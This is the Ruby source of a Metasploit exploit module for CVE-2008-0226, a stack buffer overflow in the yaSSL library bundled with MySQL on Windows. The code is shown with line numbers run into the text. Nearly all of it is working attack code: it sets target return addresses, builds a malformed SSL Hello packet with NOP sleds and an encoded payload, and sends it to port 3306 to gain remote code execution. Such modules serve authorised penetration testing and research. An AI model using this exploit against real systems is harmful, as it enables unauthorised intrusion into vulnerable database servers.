Path: blob/master/modules/exploits/windows/mysql/mysql_yassl_hello.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'MySQL yaSSL SSL Hello Message Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in the yaSSL (1.7.5 and earlier)17implementation bundled with MySQL <= 6.0. By sending a specially crafted18Hello packet, an attacker may be able to execute arbitrary code.19},20'Author' => [ 'MC' ],21'License' => MSF_LICENSE,22'References' => [23[ 'CVE', '2008-0226' ],24[ 'OSVDB', '41195'],25[ 'BID', '27140' ],26],27'Privileged' => true,28'DefaultOptions' => {29'EXITFUNC' => 'thread',30},31'Payload' => {32'Space' => 600,33'BadChars' => "\x00\x20\x0a\x0d\x2f\x2b\x0b\x5c",34'StackAdjustment' => -3500,35'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",36},37'Platform' => 'win',38'Targets' => [39[ 'MySQL 5.0.45-community-nt', { 'Ret' => 0x008b9d45 } ],40[ 'MySQL 5.1.22-rc-community', { 'Ret' => 0x008b04c9 } ],41],42'DefaultTarget' => 0,43'DisclosureDate' => '2008-01-04',44'Notes' => {45'Reliability' => UNKNOWN_RELIABILITY,46'Stability' => UNKNOWN_STABILITY,47'SideEffects' => UNKNOWN_SIDE_EFFECTS48}49)50)5152register_options([ Opt::RPORT(3306) ], self)53end5455def exploit56connect5758sock.get_once5960req_uno = [0x01000020].pack('V')6162req_dos = [0x00008daa].pack('V') + [0x40000000].pack('V')63req_dos << [0x00000008].pack('V') + [0x00000000].pack('V')64req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')65req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')66req_dos << [0x03010000].pack('V') + [0x00000001].pack('V')67req_dos << "\x00\x0F\xFF" + rand_text_alphanumeric(3917 - payload.encoded.length)68req_dos << make_nops(100) + payload.encoded + [target.ret].pack('V')69req_dos << make_nops(16) + [0xe8, -650].pack('CV') + rand_text_alphanumeric(1024)7071print_status("Trying target #{target.name}...")7273sock.put(req_uno)74sock.put(req_dos)7576handler77disconnect78end79end808182